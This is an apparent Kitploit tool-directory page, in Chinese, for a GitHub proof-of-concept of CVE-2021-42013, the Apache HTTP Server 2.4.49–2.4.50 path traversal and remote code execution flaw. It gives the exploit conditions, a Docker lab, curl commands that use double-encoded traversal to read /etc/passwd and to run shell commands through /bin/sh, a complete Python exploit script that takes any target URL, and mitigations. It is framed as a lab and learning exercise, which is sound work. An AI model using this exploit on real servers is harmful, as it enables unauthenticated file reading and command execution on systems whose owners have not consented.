Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-42013 — Proof-of-concept exploit for CVE-2021-42013 Apache HTTP Server path traversal and remote code execution vulnerability, with Docker-based lab environment and Python PoC script. | Kitploit
工具/GitHubGitHub/eunho87/cve-2021-42013
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Proof-of-concept exploit for CVE-2021-42013 Apache HTTP Server path traversal and remote code execution vulnerability, with Docker-based lab environment and Python PoC script.

查看仓库
253个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-42013

贡献者

  • 石恩浩@eunho87

CVE-2021-42013 Apache http服务器路径遍历

漏洞概要

Apache HTTP Server 2.4.50路径规范化处理中存在一个漏洞,可以在无需认证的情况下读取任意文件或执行远程代码。

该漏洞源于CVE-2021-41773的不完整修补,通过双重URL编码(%%32%65)绕过了Apache的路径拦截。

参考资料

  • NVD - CVE-2021-42013
  • Apache Security Advisory

漏洞条件

CVE-2021-42013生效需要满足以下条件:

  1. Apache 2.4.49~2.4.50
  2. httpd.conf中的Directory指令设置不是Required all denied
  3. mod_cgi模块已启用(进行RCE时)

环境配置

docker-compose up -d

执行以下命令确认测试环境是否正常运行:

docker-compose ps

服务器正常启动后,可以访问 http://localhost:8080。

漏洞复现

为了进入上层目录,通常使用 ../,但Apache拦截了这些字符。为了绕过,可以使用 . 的编码值 2e。Apache 2.4.50版本会在解码 %2e 后进行检查,因此使用 %2e2e 仍然会被拦截,像 ../ 一样。因此需要采用双重编码,使用 %%32%65 来绕过该过滤。

curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

在支持CGI的环境中,将最后一部分改为 /bin/sh 即可实现RCE。

curl -s --path-as-is -X POST \
  --data "echo Content-Type: text/plain; echo; id; uname -a" \
  "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"


PoC代码

Python (poc.py)

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse

def exploit(target_url, mode, arg):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or 80
    trav = "%%32%65%%32%65/" * 4
    
    if mode == "read":
        path = f"/static/{trav}{arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", path)
    else:
        path = f"/cgi-bin/{trav}bin/sh"
        body = f"echo Content-Type: text/plain; echo; {arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
    
    result = conn.getresponse().read().decode("utf-8", "replace")
    conn.close()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
        sys.exit(1)
    print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

应对措施

  • 更新至Apache 2.4.51及以上版本
  • 保持Require all denied

清理

docker-compose down

下载工具